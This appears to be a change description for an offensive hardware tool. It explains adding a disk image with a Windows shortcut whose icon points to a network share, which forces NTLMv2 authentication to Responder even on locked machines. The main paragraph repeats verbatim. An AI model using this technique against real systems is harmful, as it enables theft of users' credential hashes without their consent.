This change drastically increases the success rate for getting NTLMv2 hashes. The gist of it is, the img file I added contains a single windows shortcut (.lnk) file with an icon pointing at \172.0.6.1\Share. Windows attempts to load this icon from the network share at \172.0.6.1, and in the process will authenticate using the default credentials of the current user to render the icon. Windows will do this whenever it sees one of these files. It will also generally open a folder when a new mass storage device is attached, causing it to render icons for all files within a folder. This will happen even if the screen is still locked.
These two "features" allow for forcing NTLMv2 authentication, which means responder will get a hash much more quickly and more frequently. This also seems to work for most modern versions of windows, versus the existing method, which only works reliably for older versions.
This change drastically increases the success rate for getting NTLMv2 hashes. The gist of it is, the img file I added contains a single windows shortcut (.lnk) file with an icon pointing at \172.0.6.1\Share. Windows attempts to load this icon from the network share at \172.0.6.1, and in the process will authenticate using the default credentials of the current user to render the icon. Windows will do this whenever it sees one of these files. It will also generally open a folder when a new mass storage device is attached, causing it to render icons for all files within a folder. This will happen even if the screen is still locked.
These two "features" allow for forcing NTLMv2 authentication, which means responder will get a hash much more quickly and more frequently. This also seems to work for most modern versions of windows, versus the existing method, which only works reliably for older versions.
You can find some more details here: https://dylankatz.com/NTLM-Hashes-Microsoft's-Ancient-Design-Flaw/